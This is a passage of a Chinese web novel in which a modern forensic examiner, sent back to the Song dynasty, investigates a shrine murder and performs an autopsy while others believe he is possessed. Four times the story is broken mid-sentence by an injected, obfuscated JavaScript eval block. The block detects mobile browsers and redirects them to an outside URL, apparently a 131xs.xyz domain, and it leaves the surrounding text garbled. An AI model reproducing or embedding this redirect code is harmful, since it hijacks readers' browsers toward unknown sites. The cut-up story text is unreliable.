他先是被那倒挂的尸体惊了几秒,又强行避开目光,急匆匆走来。
这人看着上了些年纪,两鬓和胡须都花白了,身形倒是矫健灵敏,只是走得太急,官帽也有些歪斜。
“傅大人……”那蒙面人迎上去。
果然是个领导。
那“傅大人”盯着宋连上下打量。
“你是……宋连?”
为什么每个人都知道他的名字。
“对,你……认识我?”
他这么一问,众人顿时哗然。
那位傅大人脚下一趔趄,往前冲了小半步,被蒙面的扶住。
他摆了摆手示意无碍,低声和蒙面人说了几句,偏偏宋连又听到了几个关键词:“中元”、“雷电”、“夺舍”……
那白影子到底什么东西,怎么什么都知道!
7. 02 神仙站队,牛马落泪
01
今早五更时分,傅濂刚到宫里还在等待早朝,传话的宫人就将他带到一处偏厅。
天将亮不亮,偏厅只点了一盏烛灯,灯罩还蒙着一层纸。傅大人四下张望一圈,也没见着有人,再想回头问宫人,发现那厮早就跑远了。
他在烛灯边坐了下来,等了片刻。
对面的垂帘耸动了几下,阴影中出现了一个人。他站在暗处,看不清面容,只觉得此人很高,压迫力十足。
傅大人起身对着阴影处行了个礼:“在下开封府提刑司傅濂,阁下是……?”
“司天监,李士宁。”
傅濂内心“咯噔”一下,李士宁,新上任的司天监掌事,皇帝赵祯已是暮年,体弱多病笃信道法,李士宁身为百年世家新一代继承人,被宗族认证为“百千万年一遇之奇才”。
赵祯一生广开言路,接受台谏官无情驳斥,却力排众议,任性将李士宁安排到司天监做了掌事。
赵祯皇帝年迈体弱却还没有子嗣,朝内暗流涌动,各方势力都在蠢蠢欲动。最为激烈的便是太后一方。
如同赵祯倚赖李士宁,太后也有自己的“神仙转世”——此人十分神秘,除太后之外无人知晓他究竟何人,只留名讳“大黑天神”——皇帝和太后负责人间谋权,两位大神负责神仙斗法。
现在司天监主动找上自己,拉拢站队的目的十分明显。
棘手,十分棘手。
傅濂内心百转千回,已经想出了一百种应对方式。
“傅大人衙内,可有一位唤作‘宋连’的检法官?”
傅濂愕然抬头,发现李士宁已经不知不觉站在自己面前。
烛火在李士宁脸上映照出忽明忽暗的影子,这人面相英武坚毅,不容有二,看起来冷漠薄情。
“是有这么一位,他……?”
“可堪大用?”
堂堂司天监掌事,为何突然对他手下一个八品不足的小推官产生了兴趣,但李士宁表情严肃,又不像是在玩笑。
“宋检法他……科考录取,行事中规中矩,不能出人头地,但也不会出什么岔子……怎么?是他办错事了吗?”
李士宁拿出一只罗盘,上面有两颗玄青色的珠子,他手腕一抖,小珠子便转动了起来,最终落成了一个卦象。
“昨夜中元节,雷电交加,百鬼夜行,宋检法恐有不测,”李士宁看着罗盘上的卦象,自己也疑惑了起来,“三魂尽失,七魄消散,已死又未死,像是被夺舍了。”
02
“夺舍?”
宋连这个人,傅濂很难评。就像他说的那样,是个好孩子,但能力实在平庸。干啥啥不行,考勤第一名,除了按时上下班之外,几乎一无是处。
工作能力不行,人际关系更是不佳。大家平时面上过得去,私底下没少嘲讽他,他大概也知道,只是不在意,独来独往,人畜无害。
就这么个人,什么鬼怪瞎了眼,会选他夺舍呢?
傅濂一时不知如何应对这种离奇的消息,只能试探着问:“李大人意下如何?”
“看住他,”李士宁冷冷地说,“若他能为我大宋所用,自然是最好;若生出其他异变,危害赵宋稳定……”
傅濂在李士宁眼中看见了两道寒光,不自觉泛起一层冷意。
“大人恐怕多虑了,这宋检法不过区区九品小官,平日不显山不露水,何谈危害朝野……”
李士宁晃了晃手中的罗盘,又递过一张字条,上书“地渊祠”。
“此案乃是他的生死局,解了,便是大宋肱骨之才,败了,留着无用,反而易生祸害。这并非我一面之词。”
懂了,是天意。
既然是天意,则不可违。尽管傅濂想不出那唯唯诺诺的宋检法究竟何时得罪了朝中何人,突然遭受如此“劫难”,但司天监掌事亲自开口,就算他想保自己人,恐怕也困难重重。
“我有一问。”
李士宁俯视:“请讲。”
“这宋连既然是被鬼怪夺舍,又岂是我等凡夫能‘看住’的?”
李士宁轻蔑一笑:“自有人能降住他。”
傅濂从那昏暗偏厅走出,才发现天光已亮。刚才的一切仿佛一场梦,但手中的字条却告诉他宋连有难。他临时告假翘了早朝,朝地渊祠匆忙赶去。
03
地渊祠在汴京外城东南角,紧挨着宣化门,附近百姓没人能说得出它具体出现的时间,传言是一座非常古老的祠堂。
没有任何信息能超过光速,除了八卦。
此刻,祠堂门口已经呜呜泱泱围满了吃瓜群众,一个头发胡子全白的老头拄着根木棍拐杖,有板有眼地讲述这祠堂的奇特传说:
“这祠堂可邪性得很呐!里面供奉着一位‘地藏王’!那可是比阎罗王爷还厉害的角色!”
人群中有人附和:“对对,我进去看过,那塑像的相貌又哭又笑、又慈又凶的,确实邪乎!”
白胡子老头点点头,继续道:“这祠堂由来已久,我爷爷的爷爷小时候,它就已经在这儿了。无人知晓它是何人所建,建于何年。传说几千年前,此地妖魔横行,鬼怪乱世,伏羲女娲以补天石造像为条件,请求地藏王管理地狱百鬼,维护人间秩序,地藏王应允,以补天石像为楔,堵住了地狱恶鬼通往人间的通道,只允许每年中元节上来一次,与人间亲人重逢。
商周时期崇奉拜鬼,是这祠堂香火最为旺盛之时。可时过境迁,人们逐渐厌弃鬼而崇信天神,惹怒了地狱恶鬼。
失去了地藏王的庇佑,百鬼便开始祸乱人间……”
白胡子老头讲的唾沫星子横飞,大伙听得热闹,尤其小孩子,嗦着手指都忘了擦鼻涕。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748784|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>屋外讨论的热火朝天,祠堂内一片寒凉。主要是宋连的心,拔凉拔凉。
那个傅大人刚才当着十来个人的面,详细讲述了漏网之鬼如何夺舍开封府推官的过程,惊心动魄,就跟他亲眼所见似的。
要不是故事主人公是自己,他就要信了!
现在,祠堂内十来个人围成一圈,和他的距离从两米拉开到将近十米,马上就要退出门外了。
宋连脑袋嗡嗡嗡地,不得不暂时搁置自己笃信的唯物论,勉强接受他可能真的穿越了。
04
一旦接受了这个事实,反倒是冷静了下来——穿越小说不白看,总算派上了用场!
他仔细回忆了穿越之前的种种行为,认为始作俑者还是那个闪爆。它是怎么发生的、机制是什么,现在都不得而知。但从科学角度大胆猜想一下,闪爆时产生的超高能量或许改变了时空粒子的运动轨迹,正中了亿万分之一的概率产生了这么一个巧合。
所以,以此类推,他需要一次高能量的冲击送他回去。
实践是检验真理的唯一标准。
于是众人眼睁睁看着这位宋检法突然加速起跑,冲向堂内最粗大的那根柱子,一头撞了上去……
“不好!他要畏罪自尽!”蒙面衙吏大喝一声,要去阻拦已经来不及了。
“砰——!”
傅濂当场就目瞪狗呆了:完了,好好一个检法官,在中元节被鬼玩坏了!
宋连这一撞,眼冒金星,额头上霎时就顶起一个鼓包。
看来这个能量还远远不够……他又仔细回忆,终于想起当时他身上还揣着岳雲的铜钱宝剑!
对,除了巨大的能量,还需要金属导电,直达心脏,然后……然后不就电死了吗!
莫非穿越就是要先死后生?那这可不止是亿万分之一的概率这么简单了……
宋连躺在地上拼命思考,但蒙面衙吏绝不给他二次自尽的机会,两步上前就给他反剪押住。
05
“莫慌张!”傅大人急急喊道,“虽说宋检法平日碌碌无为,但他也没做过伤天害理之事,如今被鬼魅夺舍也并非他之错!”
傅大人犹豫着走近几步,眼珠滴溜溜转了好几圈,对宋连说:“人若真是你杀的,就必须按律处刑;但我相信此案并非你所为,但你需拿出毕生所学,若能自证清白,我定保你平安无事!”
宋连内心翻了个白眼,我都自证清白了还需要你保?
但他现在所处环境还不明朗,也说不准他们是个什么办事流程。
胳膊被扭得生疼,可见这帮人是来真的。保命要紧,虽不知道这个“检法官”是个什么官,但听起来和自己本职工作还在一个系统内,查案嘛,没有白队他也可以,只是验尸手法可能……
“这位领导,您先跟我说说,现在是哪年?”
8. 03 造谣一张嘴,辟谣跑断腿
01
嘉祐五年七月十六日。
一个课本中没有划过重点的年份,换做别人或许会满头问号,可宋连作为法医鼻祖宋慈的小迷弟,爱屋及乌,那些宋代小说不是白看的。
这是1060年,北宋第四任皇帝赵祯、后世称宋仁宗生命的倒数第三年。
距离法医鼻祖宋慈老师诞生还有126年!
宋连嘴角露出苦涩的笑容,挣了挣被反剪的手臂:“我就这么自证清白?”傅大人示意蒙面衙吏松手,衙吏犹豫了一下,照办了。
宋连揉了揉被扭伤的肩膀,开始勘察自己所处的环境。
昨夜刚下过暴雨,按理说,泥泞的地面有可能留存一些犯罪痕迹,但现在……
现场痕迹已经被这十来个人破坏得差不多了,门外更是乌泱泱围满了看热闹的吃瓜群众。
一千只草泥马奔腾而过也不会比现在更糟糕了。
宋连绝望地看向傅濂:“现场这么多人,怎么搞?”
傅濂回味了一下宋连这句奇怪的话,然后:┓( 八 )┏
02
众目睽睽之下,一个被削了头发、额头长了大包的男子从命案现场走了出来,身后还紧跟着十来个开封府衙吏。
围观群众窃窃私语。有说这是凶手,赞叹开封府断案神速的;有说这是个窃贼,昨夜刚好目击了杀人现场的;还有说开封府昨日闹鬼,死了个推官;立刻有人纠正,不是死了,是被鬼给那个了……
群众的讨论热火朝天,字字句句振聋发聩:“听说了吗!那女鬼认错了人,把他当官家‘服侍了’!发现不对劲,气得给他鬼剃头,你刚看到他头发没?竟然是真的!”
离谱!
越来越离谱!
既然交头接耳就不要这么大声!宋连的玻璃心碎成了粉末。
真是造谣一张嘴,辟谣跑断腿!
03
祠堂门窗全部敞开,强烈的光线终于灌入,祠堂内的陈设一览无余。
门口有一堆白骨,看状态应该有些年头了,从头骨形态判断应该是某种小型动物,猫、狗或者狐狸。
宋连不是动物学家,判断不出品种,况且与案子应该没有关系,便不再纠结。
勘察了一圈,周围果然没有什么完整的线索,宋连又把注意力转回祠堂内倒吊着的尸体。
正在这时,又一个卒吏疾跑过来,宋连看着他拖泥带水一路踩进来,嘴角抽搐。
这卒吏也在他面前刹了车,绕开他一段距离到傅大人面前,忧心忡忡汇报:
附近厢坊没有仵作,要从其他地方找,一来一回恐怕要耽误几个时辰。
宋连听得one愣one愣:古代的通讯效率真是一言难尽。
他又看了看傅濂那张艰苦朴素的脸,默默叹气:好事轮不到我,坏事一直轮我!
04
我人都在这了,还找什么仵作!宋连已经自觉地开始干活了。
他没有马上去看尸体,而是先观察了供台四周:桌台上积了厚厚一层灰,两盏燃尽的油灯旁却有一处干净的空白,应该还有一盏同款油灯被拿走了。
地面有拖拽的痕迹,宋连低头沿着印迹移动,蒙面卒吏怕他又突然发疯,只得紧跟着。
几人绕到了石像后面,在角落里看到了几个蒲团垫子、一堆女人的衣服、以及翻倒的一盏油灯。
“这里才是第一案发现场,”宋连说。
他蹲在地上,鼻尖几乎要凑近地面,不知在看什么,又转过头看了看大家的鞋印,叹了口气。
蒲团上有几处液体干涸的痕迹,满满的DNA证物,可惜用不上……
“可是看出什么了?”蒙面卒吏问。
宋连摇头:“现场痕迹都被破坏差不多了,没什么有价值的线索。”
蒙面卒吏听懂了大概,并且表示并不意外——这位检法官是提刑司出了名的没用,现在又被鬼夺舍,疯疯癫癫的,能堪什么大用呢?
05
众人又回到石像正面。
宋连再次打量尸体外观:体貌特征为女性,双脚被捆绑,头朝下吊在石像手指,双臂自然下垂,与石像指向地面的手掌一模一样。
整体看上去,分明就是地狱恶鬼将一女尸吊弄于股掌之间!
他想起了铁树案:都是裸尸吊起、都有明确的宗教符号……
这是巧合吗?还是某种暗示……
他迅速回忆了一遍《汴京水陆全图》,但印象中似乎没有与之对应的画面。
无论如何,先要将尸体放下来进行检验。
要给尸体解绑,需要两个人配合,宋连瞥向身后,发现众人已经惊恐着退到门边去了,尤其那蒙面衙吏,面罩拉得更高了,几乎遮住了半拉眼睛。
宋连咧嘴一笑:“看你孔武有力,正合适!”
“不合适!我只负责拿你,没说还要助你查案!”
宋连又看向傅濂:╮(╯▽╰)╭
傅濂立刻心领神会:“甲丁,即刻起你就是宋检法的左膀右臂,一定要全力助他断明此案!”
那衙吏蒙着脸看不出表情,只从眼神就知道他有多么生无可恋。
真是吃瓜吃到了自己头上!缉拿一个被鬼附身的杀人犯还不够,现在还要协助这个不知是人是鬼的宋庸人查案!
奈何傅大人有令,那宋检法又一幅看笑话的鬼样子……
这蒙面衙吏伸出一只前脚掌在地上撵了撵,像是下定了某种决心:“你说吧,怎么干?”
06
宋连指挥衙吏站上供桌给尸体松绑,他负责从下抱住尸体不使其坠落下来。
衙吏犹豫了一下,还是跨上了桌面,转到尸体前方。
“啊啊啊啊!!!鬼、鬼啊!!!”卒吏突然大喊大叫跌下供桌,“青面獠牙的罗刹女鬼!!!”
他边叫边咳,最后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748785|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直接附身嗷嗷呕吐起来。
宋连看着一地呕吐物,彻底失去耐心,骂了一声跃上供桌。
他把尸体环在臂弯夹着,以一个很别扭的姿势解绑。
捆缚的工具不是麻绳,而是一种缎面织物。宋连环视四周,应该是带在石像脖子上的绸缎,上面还引着一些咒语符文。
缎面丝滑,解起来倒也不太费事,尸体脱离束缚向下滑落,宋连忙腾出手接住。
尸体倒吊时因为重力作用双手垂直朝下,解绑后依然保持这个姿势,整个人像一根棍子似的直愣愣落了下来,被宋连又抱又推,板正的放在了供桌上。
尸体的面部直至胸腔呈青紫色,双眼圆睁,嘴巴大张着,由于面部僵硬,显得两排牙齿格外狰狞。
难怪那卒吏会被吓破胆。
宋连看那卒吏吐得差不多了,喊了他一声:“喂,还活着吗?有纸笔吗?我说你记!”
那卒吏目睹了宋连一人解绑尸体的全过程,心理说着“被鬼附过身的就是不一样”,眼里却多了亿点钦佩,他拉紧了面罩,嘴里念叨几句阿弥陀佛神仙保佑,掏出尸帐检录册准备记录。
07
“死者为女性,身高约156cm”,宋连说到这里停下,在脑子里大概算换了一下,改口说:“约五尺。”
“尸僵遍及全身,尸斑指压不褪色。尸体口鼻眼角处有部分蝇卵孵化成蛆,由此估算死亡时间约为8-10小时。”
卒吏听到“蝇卵蛆虫”又要吐,被宋连刀片般的眼神制止了,硬生生咽了下去,含糊说:“小、小时是何物?”
“这样,我们做个约定:以后你只需要记录,不要提问,有的问题可以言传但有的只能靠你意会了。”
并不是,单纯因为单位换算太麻烦且他也不一定会算。
卒吏一副“你竟然这个口气跟我说话”的不爽模样,宋连立刻换了态度,指了指自己的胸口:“刚那不是我说的,是‘它’说的……”
“你少跟我——”
“咕咚——”宋连咽了咽口水。
空气似乎凝结了起来,十几人的呼吸都停滞了。
蒙面衙吏退后几步,哆嗦着说:“宋、宋检法,你、你、你……饿了吗?”
“这是一种常见的生理反应,习惯一下就好了。”
宋连无视了众人惊恐的表情,指了指那“青面獠牙罗刹女”,对卒吏说:“尸体颈部有明显勒痕,形状与捆缚的这个绸缎吻合。背部、腰部、大腿后侧均有尸斑,但不明显。大量尸斑聚集在面部、颈部、上胸部,越往下肢越少。她在死后2小时内被移动倒吊起来,浑身未凝固的血液因为引力作用集中在了倒着的头部、颈部、胸部,之后在此凝固,所以这片区域才会是青紫色。”
卒吏似懂非懂的点点头,又摇了摇头,一脸震惊:“所以,你的意思是,她是被人杀害的?!”
宋连比他还震惊:“那不然呢?!”
9. 04 专业的解剖往往只需最朴素的烹饪工具
01
“死亡时间发生在凌晨2-4点间,”宋连停顿片刻,换算了一下时间,改口道:“丑时到寅时,需要排查这个时间里出现在这附近的人。”
众人齐刷刷看着他。
“咳咳,除了我!”宋连重申:“我说过,有个穿白衣服的人,个子很高,长得挺帅,我醒来的时候他就在这里,他才是头号嫌疑人!”
他看了眼已经梆硬的尸体,说:“现在没有解剖工具,需要把尸体拉回局里……拉回府衙进一步解剖。”
天气炎热,尸体已经暴露接近12小时了,很快尸体组织内部的酶就会开始消化肌肉,尸体的腐败也会随之加速。
他们必须要争分夺秒,但这穷苦单位没有公派车,他们总不能抬个尸体招摇过市,吓到老百姓是一方面,尸体上的线索可能还会遭到破坏。
“问附近老百姓借个手推车呢?,实在不行就几个人抬回去,总之必须快!”
卒吏也很犯难,这么晦气的事,谁乐意白干啊!
“傅大人,局里能先垫付后报销吗?”
傅濂满头问号。
“我的意思是,能不能花钱租辆车?”
傅濂面露难色:“我这是朝服……”
上朝时候穿的制服,弹劾的折子倒是有几个。
宋连下意识摸自己的裤兜,才想起他平时都手机支付,身上早就不装现金了,怎么可能还……
嗯?
宋连一愣,从裤兜里掏出一张纸。
“嚯……”众人齐声发出低呼:“500文!我的活爹!”
500文?哪来的?什么时候出现的?
对了,那白影消失之前确实往他兜里塞了张纸。
不是白无常,是财神爷!
宋连抖了抖手里的票子:“雇辆车,早些断案,还我清白。”
02
尸僵还没开始消退,穿衣服很困难,宋连只能用那块咒文缎布将尸体包裹严实,和甲丁抬着走出内殿。
人群原本在骚动,看到门开顿时安静了下来。前排的人不自觉往后退了几步,也有胆大的踮起脚想看个究竟。
看热闹的老幼妇孺都有,见尸体被抬出来还很多此一举的去捂小孩的眼睛。
看到尸体上盖着咒文符号,大家纷纷开始议论:果然是妖魔鬼怪作祟!
有个三十岁上下的男人,豹头环眼,燕颔虎须,正绘声绘色描述着“案发过程”,吸引了一撮吃瓜群众。
“这地藏王石像下原本镇压着一个罗刹女。如今地藏王不再庇佑人间,法力式微,这罗刹女便出来横行作妖。每当罗刹女祸乱人间,地藏王石像便会流出血泪!”
男人说着,咽了口吐沫,面露恐惧之色,好像亲眼见过似的。
一个书生模样的青年拿着纸笔开始记录。
“于是有了传言,每当石像流出血泪,必有血光之灾!昨日中元节,百鬼夜行,阴气最盛,正是那青面罗刹女魔力至高之时。于是她……”
那人又故弄玄虚地停顿了。
众人纷纷问:“她怎么了?”
“她化作样貌较好的男女模样,以魅惑之术吸引路人进来避雨,趁苟且之时夺人生魂,食人精髓,不断增加法力,冲破结界,”
那人突然低声神秘道:“听说她去了宫城内,夺舍了一个宫人,目的是要接近圣上!”
群众的低呼声此起彼伏,而卒吏们则齐刷刷看向了宋连。
罗刹女、夺舍、皇宫……这不就跟宋连的传言对上了吗!
甲丁往后退了一小步,忘记了手里还抬着尸体,经幡滑落了一个角,刚好露出尸体的面部。
青面獠牙罗刹魔女……
看到的人都扯着嗓子尖叫起来,刚才还一本正经胡说八道的男人竟然怂破了胆,吓得一屁股坐在地上,两股间湿了一片。
甲丁赶紧把尸体盖好,加快脚步抬上专车。
03
很明显,500文钱有神秘力量。不仅能雇佣愿意拉尸体的牛车,还是一辆豪华专车。
车子由两头牛拉着,双引擎动力。车板还搭了遮风避雨的棕棚,车棚低矮,只能躬身弯腰爬进去,但里面的空间倒是宽敞,躺一具尸体是绰绰有余,还能容得下几个人围坐。
临行前,宋连要求傅濂留下几个卒吏,询问现场每个吃瓜群众,重点问他们凌晨时分都在哪里做什么,还要做详细笔录。
回程途中,宋连、甲丁、傅大人和尸体挤在车厢中,四人沉默不语。
尸体已经开始发臭,甲丁又拉了拉面巾。
“你平时也带着面巾出门?”宋连好奇。
“汴京风大,这样可以防风沙。”甲丁说。
“可今日天气晴好并无风沙呀?”宋连揭穿。
“护脸保暖!”甲丁不耐烦。
“大夏天保暖?”宋连不罢休。
要不是中间横着尸体一具,甲丁此刻就要大展拳脚了。
“宋检法,有台阶不下,你很不会做人。”
宋连微微一笑:“我现在都不一定是人,不会做人也很正常。”
甲丁无语,只是一味咬牙切齿。
04
太阳西斜,是路人归家的时候,也是夜市准备出摊的时间,沿街行人不少反多,堵的水泄不通。
牛车走的极慢,步行都比他们快。
“地渊祠命案最新消息!青面罗刹女吸食少女精魂,已经幻化人形!尸体赤裸倒挂青面獠牙!这位爷想知道命案细节,茶馆里面请!”
沿街的店铺已经开始蹭热度招揽客人了,茶肆里说书先生抖着扇子正在讲《地渊祠诡案》,说的有板有眼,和那吓尿了的中年人的话术如出一辙。
怎么回事,侦办人员还没从现场撤离,怎么消息已经满城皆知了!
“一定是刚才那个写写画画的书生!”甲丁想起来了,“他们专门去命案现场打探消息,或记录一些耸人听闻的命案传说,卖给酒楼茶肆小报。打得一手好算盘!”
宋连恍然大悟,原来是狗仔老师啊!宋代职业果然还是太超前了些。
05
几人回到开封府衙,甲丁和宋连抬着尸体往“解剖室”走去。
仵作已经等在那里了,宋连却摆手:“还是我来吧!”
傅大人一怔:“你?会吗?”
这说的什么话!大学四年,考公两年,实习一年,执业5年,你在质疑我的饭碗?!
傅大人想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748786|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起李士宁的预言,感慨被夺舍后果然非同寻常,但又暗地让甲丁和仵作从旁看着,以备不时之需。
宋连接过仵作的工具包,打开之后先掉落的是一堆葱姜蒜头,还有一罐醋。
尽管场合不对,但一整天没吃饭的宋连还是感到一阵饥肠辘辘。
“咕咚——”x2
甲丁紧张地绷直了身体,听过鬼怪食人生魂,没听说他们连尸体也吃……
只见宋连放下佐料包,对着一堆工具叹了口气。
他拿起一把刀,刀刃还算锋利,就是体积略大了点,拿在手里不像是要解剖,倒像是大刀阔斧在做饭,料都配好了。
仵作看宋连下手生疏,捏了把汗,谨慎提醒:“姜片含在嘴里可以……”
“防臭味,”宋连答到,“我知道。”
老祖宗的古法防臭,不能说毫无用处,但确实也作用不大。毕竟高腐起来防毒面具都没用。
他穿好了白布“围裙”,也带了一个面巾遮住了口鼻,下手前还是犹豫了一下,不带手套,非常不习惯。
宋连先扒开尸体双眼观察一番,随即打开口器仔细检查了牙齿和舌面,又再次检查了脖颈处的勒痕。
做完这些之后,才将重点放在躯干和四肢。
尸体胸口处隐约有一类圆形的淤痕,因为堆积尸斑的缘故,之前没有发现。
宋连让甲丁记录下来,甲丁还想问这是什么,见宋连手起刀落,在尸体整个胸腹部拉出了一个“Y”字刀口。
仵作在一旁“咦?”了一声。
甲丁又紧张又恶心,哕了几下想找个地方吐。
这还是那个他曾经爱答不理的宋检法吗?被鬼附过身威力这么大吗?
06
商鞅知马力,比干见真心。
现在又多了个宋检法,一会儿拿出心脏,一会儿端出肺,一会儿掏出胃,还在胃上开了个口子,甚至研究了半天尸体死前吃过什么……
一番操作下来傅大人早就不见了踪影,甲丁更是吐得昏天暗地。
这样宋连也没放过他,隔着十米的距离喊他:“尸帐还在你那吗,接着记。”
“记你奶奶个腿儿!”甲丁想骂,又忍住了。
牛会哞,马会叫,甲丁会说:“收到。”
“从牙齿与耻骨判断,死者年龄大概25岁左右,没有生育史。”
“耻骨?”甲丁不解。
宋连指了指盆骨前缘:“就是这里,大约在耻骨下方6厘米左右,可以通过它的形态判断死者年龄。”
“厘米?”
“对,你先别管什么意思,记下来就行!”
甲丁不语,只是埋头速记。
“死者眼底有散见出血点,颈部有明显勒痕,与缎布上的血迹吻合。舌骨骨折,她是被勒颈导致窒息死亡。胸口有压迫痕迹,直径约三寸,肋骨骨折。说明凶手当时以膝盖跪压死者。”
“Y//道表皮损伤,并有J//液残留,说明她死前发生过性行为。凶手大概率是一名男性。”
他把脏器一件一件放回尸体内,开始缝合。
仵作几次想要开口提问,最终也没太好意思,只是想着让那个衙吏誊抄一份尸格给他慢慢研究。
10. 05 走一步算一步,实在不行死半路
01
甲丁已经吐无可吐,眼含热泪很难自控,只能尽量转移注意力,问宋连:“你说了一大堆,还是没说凶手是谁啊?”
宋连还在缝合尸体,没有回答。
最后一针结束,宋连吧工具收好放到一边,举起尸体的双手,对甲丁说:“她指甲里的黑色凝固物不是污泥,是凶手的表皮组织。”
被害人被勒颈,求生本能会让她下意识抓紧凶手的手臂用力挣扎,就会在凶手的手腕或小臂留下抓痕。
“凶手跪压在死者胸口的痕迹和位置,能大概判断出他的体形,”宋连边说边单膝跪地,做出勒毙空气的示范,“我们要找的,是一个身高约五尺六寸(174cm)、脖颈或手臂有新鲜伤痕、年龄约在18-45岁之间的男人。”
尽管这个年龄范围太过宽泛,但甲丁还是觉得十分神奇:“你是怎么知道年龄的?”
这次不等宋连解释,一旁的仵作抢答了:“勒毙一个成年女子也是需要很大气力的,年幼或年老者都很难实施……”
宋连已经主动奉上双臂。这身“奇装异服”已经破烂得衣不蔽体,两只手臂只是蹭到了灰尘污渍,用湿帕子一擦,光滑的像是刚出厂的。
“好鬼不骗人,我都被夺舍了,杀人不需要这么费劲。”唯物战士宋连此刻不得不借住封建迷信做保护伞,想想都心塞。
甲丁觉得此话很有道理:“所以……真是那个白影?”
说起白影,宋连赶紧让甲丁拿来纸笔,问:“你会画画吗?”
甲丁:“???”
宋连:“我还记得那白影的五官比例,可以试着画出来。”
甲丁老实交出纸笔:“你这么厉害,你来。”
02
宋连上学时,为了学习人体结构,还专门跑去学了一阵素描,专门用来画人体——包括外观、骨骼和内脏分布。
但这不代表他会用毛笔,甚至不确定正确握笔姿势。
他一笔下去,墨汁晕成一坨黑印。甲丁在一旁“嘶”的一声。
“手误、手误。”宋连笑笑,放轻了力道,又下了一笔。
职业病使然,宋连的眼睛自带刻度,看人先看比例。尽管当时光线昏暗,但那白影与他面对面的瞬间,他还是快速记住了对方的五官比例:
眼睛的宽度大致占据同一水平线脸宽的3/10;眼球中心到眉毛的距离差不多是脸长的1/10;鼻梁高挺,但占地面积不到全脸的1/20;嘴宽大约是同一水平线脸宽的1/2;下巴长度占据脸长约1/5。
甲丁在旁听宋连嘀嘀咕咕说什么美人,惊讶道:“白影是个女子?”
宋连刚落下最后一笔,抬头茫然:“女子?哪有女子?”他一边说着,一边将画像举起。
这笔触,就像甲丁此刻抽搐的嘴角一样,歪歪扭扭……
尽管如此,也还是能看出这是一张标准的美人脸。既在骨又在皮。
甲丁盯着画像感慨:“宋检法,你该不会是出了幻觉,人间还有这等样貌的男子?”
宋连看着自己的杰作:“还好吧,古有潘安卫玠兰陵王,今有冠希彦祖金城武,这个长相只能说较好吧!”
相处大半天,甲丁已经习惯了宋连的胡言乱语,毕竟身体里有个鬼,鬼话连篇也不是没道理的。
“那这白影身高如何?”
“五尺五寸。”
宋连身高179.5cm,那卡住的0.5cm一直是他的怨念。于是对外宣称都是加了鞋底厚度的181cm,并且每每宽慰自己,相比中国19岁男性平均身高175.7cm,自己还高出3.8cm呢!
可宋连与那位白影面对面站在一起时,目光只能落在对方的嘴角,说明他比自己高出至少5cm,差不多有185的样子。
03
案发已经过去足足大半天时间,尸体停在开封府衙无人认领。
宋连逐渐有些焦灼了起来。那个傅大人说的很清楚,破了案子就能活,破不了案就得死。
虽然死一下可能就穿回去了,但他直觉并不是这么个“死”法。
他有指纹,有DNA,有作案时间有嫌疑人画像,放在现代就相当于已经破案了。
但现在……他只有一把路易十六脖子上高悬的铡刀,随时都会要了他的命。
时间分秒不停,日头越过正午开始下行的时候,一个衙吏匆匆跑来报告:“现场看热闹的人都询问过了,笔录傅大人看过了,让宋检法再去看看。”
桌案上摆着厚厚一沓笔录,誊录员刚刚誊抄完,墨迹还没干,是漂亮的繁体小楷,宋连能看明白个大概。
他从这一沓口供中初步筛选出五个人,其中四个人独居,说自己在家中,所以没有人能证明,另一个人则刚好相反,他提供了非常确切的行动轨迹。
宋连看到这人的姓名及身高体重基本信息,逐渐与现场那个豹头环眼,燕颔虎须的型男对上了。
“这个人的不在场证明十分详细,过于详细了。”
他从晚饭开始讲起,几点、在哪、吃了什么,然后去河边垂钓,两小时之后开始打雷下雨,于是收了东西匆匆往家跑,没想到雨势越来越大,他在半夜12点左右在汴河边一个棚屋避雨,三个小时后雨势逐渐小下来,又落魄跑回家,到家时凌晨4点,有邻居作证。
“首先,这人我有印象,长相帅气口才极好,像个说书先生,他对鬼怪传说深信不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748787|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
